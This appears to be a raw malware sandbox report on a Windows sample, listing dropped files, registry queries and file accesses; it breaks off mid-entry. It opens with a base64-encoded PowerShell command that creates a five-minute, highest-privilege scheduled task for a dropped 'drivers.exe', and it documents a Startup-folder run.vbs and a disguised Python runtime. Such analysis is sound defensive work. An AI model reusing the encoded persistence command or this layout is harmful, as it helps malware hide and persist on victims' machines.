UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBkAHIAaQB2AGUAcgBzAC4AZQB4AGUAJwAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAQwA6AFwAVQBzAGUAcgBzAFwASABBAFAAVQBCAFcAUwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAZAByAGkAdgBlAHIAcwAuAGUAeABlACcAKQAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAE8AbgBjAGUAIAAtAEEAdAAgACgARwBlAHQALQBEAGEAdABlACkAIAAtAFIAZQBwAGUAdABpAHQAaQBvAG4ASQBuAHQAZQByAHYAYQBsACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ATQBpAG4AdQB0AGUAcwAgADUAKQApACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAFMAZQBjAG8AbgBkAHMAIAAwACkAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACkAIAAtAEYAbwByAGMAZQA=" (UID: 00000000-00005792)4b:T3db7,"python311.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"- Location: [%TEMP%\Drivers\macOS\python311.dll]- [targetUID: 00000000-00004796] "libcrypto-3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\libcrypto-3.dll]- [targetUID: 00000000-00004796] "sqlite3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\sqlite3.dll]- [targetUID: 00000000-00004796] "python.cat" has type "Unknown"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\python.cat]- [targetUID: 00000000-00004796] "libssl-3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"- Location: [%TEMP%\SystemDrivers\macOSx\libssl-3.dll]- [targetUID: 00000000-00004796] "7z_encrypted.bin" has type "Unknown"- Location: [%TEMP%\Drivers\macOS\7z_encrypted.bin]- [targetUID: 00000000-00004796] "UserCache.bin" has type "Unknown"- Location: [%LOCALAPPDATA%\Adobe\Acrobat\11.0\UserCache.bin]- [targetUID: 00000000-00002584] "python.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\python.exe]- [targetUID: 00000000-00004796] "py.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\py.exe]- [targetUID: 00000000-00004796] "vcruntime140.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\vcruntime140.dll]- [targetUID: 00000000-00004796] "python3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 2 sections"- Location: [%TEMP%\Drivers\macOS\python3.dll]- [targetUID: 00000000-00004796] "libffi-8.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\Drivers\macOS\libffi-8.dll]- [targetUID: 00000000-00004796] "s.cmd" has type "Unknown"- Location: [%TEMP%\s.cmd]- [targetUID: 00000000-00001284] "powershell.exe.log" has type "Unknown"- [targetUID: 00000000-00005396] "suds_000000000000041.wsf" has type "Unknown"- Location: [%TEMP%\SystemDrivers\macOSx\suds_000000000000041.wsf]- [targetUID: 00000000-00001352] "run.vbs" has type "Unknown"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs]- [targetUID: 00000000-00002592] "43ed62a4e0544c28932cf53619d613a8.zip" has type "Zip archive data at least v2.0 to extract compression method=deflate"- Location: [%TEMP%\43ed62a4e0544c28932cf53619d613a8.zip]- [targetUID: 00000000-00001352] "42017969502f4d86b1973acb1bf7d63b.aes" has type "Unknown"- Location: [%TEMP%\42017969502f4d86b1973acb1bf7d63b.aes]- [targetUID: 00000000-00001352] "c60c52d01b084a29a84070a36c713840.aes" has type "Unknown"- Location: [%TEMP%\c60c52d01b084a29a84070a36c713840.aes]- [targetUID: 00000000-00001352] "python311.zip" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified last modified Sun Apr 02 2024 12:33:32 uncompressed size 5818 method=deflate"- Location: [%TEMP%\SystemDrivers\macOSx\python311.zip]- [targetUID: 00000000-00004796] "unicodedata.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\unicodedata.pyd]- [targetUID: 00000000-00004796] "MAJE.dat" has type "Unknown"- Location: [%TEMP%\SystemDrivers\macOSx\MAJE.dat]- [targetUID: 00000000-00004796] "Mango.pdf" has type "PDF document version 1.4 4 page(s)"- Location: [%TEMP%\Mango.pdf]- [targetUID: 00000000-00004796] "_decimal.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_decimal.pyd]- [targetUID: 00000000-00004796] "pyexpat.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\pyexpat.pyd]- [targetUID: 00000000-00004796] "_ssl.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_ssl.pyd]- [targetUID: 00000000-00004796] "_lzma.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_lzma.pyd]- [targetUID: 00000000-00004796] "_elementtree.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_elementtree.pyd]- [targetUID: 00000000-00004796] "_ctypes.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_ctypes.pyd]- [targetUID: 00000000-00004796] "_sqlite3.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_sqlite3.pyd]- [targetUID: 00000000-00004796] "_bz2.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_bz2.pyd]- [targetUID: 00000000-00004796] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002592] "_socket.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_socket.pyd]- [targetUID: 00000000-00004796] "_asyncio.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_asyncio.pyd]- [targetUID: 00000000-00004796] "_hashlib.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_hashlib.pyd]- [targetUID: 00000000-00004796] "_overlapped.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_overlapped.pyd]- [targetUID: 00000000-00004796] "_zoneinfo.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_zoneinfo.pyd]- [targetUID: 00000000-00004796] "_msi.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_msi.pyd]- [targetUID: 00000000-00004796] "LICENSE.txt" has type "Unknown"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\LICENSE.txt]- [targetUID: 00000000-00004796] "_multiprocessing.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_multiprocessing.pyd]- [targetUID: 00000000-00004796] "_queue.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_queue.pyd]- [targetUID: 00000000-00004796] "winsound.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\winsound.pyd]- [targetUID: 00000000-00004796] "select.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\select.pyd]- [targetUID: 00000000-00004796] "_uuid.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_uuid.pyd]- [targetUID: 00000000-00004796] "StartupProfileData-NonInteractive" has type "Unknown"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00005396] "run.py" has type "Unknown"- Location: [%TEMP%\Drivers\macOS\run.py]- [targetUID: 00000000-00004796] "tmp67_g0g76.xml" has type "Unknown"- Location: [%TEMP%\tmp67_g0g76.xml]- [targetUID: 00000000-00002592] "run.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\SystemDrivers\macOSx\run.py]- [targetUID: 00000000-00004796] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002592] "python311._pth" has type "Unknown"- Location: [%TEMP%\SystemDrivers\macOSx\python311._pth]- [targetUID: 00000000-00004796] "t2si523r" has type "Unknown"- Location: [%TEMP%\t2si523r]- [targetUID: 00000000-00004796] "FAP4CCB.tmp" has type "Unknown"- Location: [%TEMP%\FAP4CCB.tmp]- [targetUID: 00000000-00002584] "python311.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"- Location: [%TEMP%\SystemDrivers\macOSx\python311.dll]- [targetUID: 00000000-00004796] "libcrypto-3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"- Location: [%TEMP%\SystemDrivers\macOSx\libcrypto-3.dll]- [targetUID: 00000000-00004796] "libcrypto-3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"- Location: [%TEMP%\Drivers\macOS\libcrypto-3.dll]- [targetUID: 00000000-00004796] "sqlite3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\sqlite3.dll]- [targetUID: 00000000-00004796] "python.cat" has type "Unknown"- Location: [%TEMP%\SystemDrivers\macOSx\python.cat]- [targetUID: 00000000-00004796] "python.cat" has type "Unknown"- Location: [%TEMP%\Drivers\macOS\python.cat]- [targetUID: 00000000-00004796] "libssl-3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"- Location: [%TEMP%\Drivers\macOS\libssl-3.dll]- [targetUID: 00000000-00004796] "libssl-3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\libssl-3.dll]- [targetUID: 00000000-00004796] "7z_encrypted.bin" has type "Unknown"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\7z_encrypted.bin]- [targetUID: 00000000-00004796] "python.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\python.exe]- [targetUID: 00000000-00004796] "python.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\python.exe]- [targetUID: 00000000-00004796] "py.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\py.exe]- [targetUID: 00000000-00004796] "py.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\py.exe]- [targetUID: 00000000-00004796] "vcruntime140.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\vcruntime140.dll]- [targetUID: 00000000-00004796] "python3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 2 sections"- Location: [%TEMP%\SystemDrivers\macOSx\python3.dll]- [targetUID: 00000000-00004796] "python3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 2 sections"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\python3.dll]- [targetUID: 00000000-00004796] "libffi-8.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\libffi-8.dll]- [targetUID: 00000000-00004796] "libffi-8.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\SystemDrivers\macOSx\libffi-8.dll]- [targetUID: 00000000-00004796] "suds_00000000000000041.wsf" has type "Unknown"- Location: [%TEMP%\SystemDrivers\macOSx\suds_00000000000000041.wsf]- [targetUID: 00000000-00001352] "run.vbs" has type "Unknown"- Location: [%TEMP%\Drivers\run.vbs]- [targetUID: 00000000-00002592] "python311.zip" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified last modified Sun Apr 02 2024 12:33:32 uncompressed size 5818 method=deflate"- Location: [%TEMP%\Drivers\macOS\python311.zip]- [targetUID: 00000000-00004796] "unicodedata.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\unicodedata.pyd]- [targetUID: 00000000-00004796] "_decimal.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_decimal.pyd]- [targetUID: 00000000-00004796] "pyexpat.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\pyexpat.pyd]- [targetUID: 00000000-00004796] "pyexpat.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\pyexpat.pyd]- [targetUID: 00000000-00004796] "_ssl.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_ssl.pyd]- [targetUID: 00000000-00004796] "_lzma.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_lzma.pyd]- [targetUID: 00000000-00004796] "_elementtree.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_elementtree.pyd]- [targetUID: 00000000-00004796] "_ctypes.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_ctypes.pyd]- [targetUID: 00000000-00004796] "_sqlite3.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_sqlite3.pyd]- [targetUID: 00000000-00004796] "_bz2.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_bz2.pyd]- [targetUID: 00000000-00004796] "_socket.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_socket.pyd]- [targetUID: 00000000-00004796] "_asyncio.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_asyncio.pyd]- [targetUID: 00000000-00004796] "_hashlib.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_hashlib.pyd]- [targetUID: 00000000-00004796] "_overlapped.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_overlapped.pyd]- [targetUID: 00000000-00004796] "_zoneinfo.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_zoneinfo.pyd]- [targetUID: 00000000-00004796] "_msi.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_msi.pyd]- [targetUID: 00000000-00004796] "LICENSE.txt" has type "Unknown"- Location: [%TEMP%\SystemDrivers\macOSx\LICENSE.txt]- [targetUID: 00000000-00004796] "LICENSE.txt" has type "Unknown"- Location: [%TEMP%\Drivers\macOS\LICENSE.txt]- [targetUID: 00000000-00004796] "_multiprocessing.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_multiprocessing.pyd]- [targetUID: 00000000-00004796] "_queue.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_queue.pyd]- [targetUID: 00000000-00004796] "winsound.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\winsound.pyd]- [targetUID: 00000000-00004796] "select.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\select.pyd]- [targetUID: 00000000-00004796] "_uuid.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_uuid.pyd]- [targetUID: 00000000-00004796] "python311._pth" has type "Unknown"- Location: [%TEMP%\Drivers\macOS\python311._pth]- [targetUID: 00000000-00004796] "us63cnsk" has type "Unknown"- Location: [%TEMP%\us63cnsk]- [targetUID: 00000000-00002592]4c:T71d,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")4d:Tc73,"python311.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"- Location: [%TEMP%\Drivers\macOS\python311.dll]- [targetUID: 00000000-00004796] "libcrypto-3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\libcrypto-3.dll]- [targetUID: 00000000-00004796] "sqlite3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\sqlite3.dll]- [targetUID: 00000000-00004796] "libssl-3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"- Location: [%TEMP%\SystemDrivers\macOSx\libssl-3.dll]- [targetUID: 00000000-00004796] "vcruntime140.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\vcruntime140.dll]- [targetUID: 00000000-00004796] "python3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 2 sections"- Location: [%TEMP%\Drivers\macOS\python3.dll]- [targetUID: 00000000-00004796] "libffi-8.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\Drivers\macOS\libffi-8.dll]- [targetUID: 00000000-00004796] "python311.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"- Location: [%TEMP%\SystemDrivers\macOSx\python311.dll]- [targetUID: 00000000-00004796] "libcrypto-3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"- Location: [%TEMP%\SystemDrivers\macOSx\libcrypto-3.dll]- [targetUID: 00000000-00004796] "libcrypto-3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"- Location: [%TEMP%\Drivers\macOS\libcrypto-3.dll]- [targetUID: 00000000-00004796] "sqlite3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\sqlite3.dll]- [targetUID: 00000000-00004796] "libssl-3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"- Location: [%TEMP%\Drivers\macOS\libssl-3.dll]- [targetUID: 00000000-00004796] "libssl-3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\libssl-3.dll]- [targetUID: 00000000-00004796] "vcruntime140.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\vcruntime140.dll]- [targetUID: 00000000-00004796] "python3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 2 sections"- Location: [%TEMP%\SystemDrivers\macOSx\python3.dll]- [targetUID: 00000000-00004796] "python3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 2 sections"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\python3.dll]- [targetUID: 00000000-00004796] "libffi-8.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\libffi-8.dll]- [targetUID: 00000000-00004796] "libffi-8.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\SystemDrivers\macOSx\libffi-8.dll]- [targetUID: 00000000-00004796]4e:Taee,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "DISABLECMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "DISABLEUNCCHECK"; Value: "")4f:Ta58,"cmd.exe" trying to access non-existent file "C:\POWERSHELL.EXE" "cmd.exe" trying to access non-existent file "C:\powershell.exe" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file 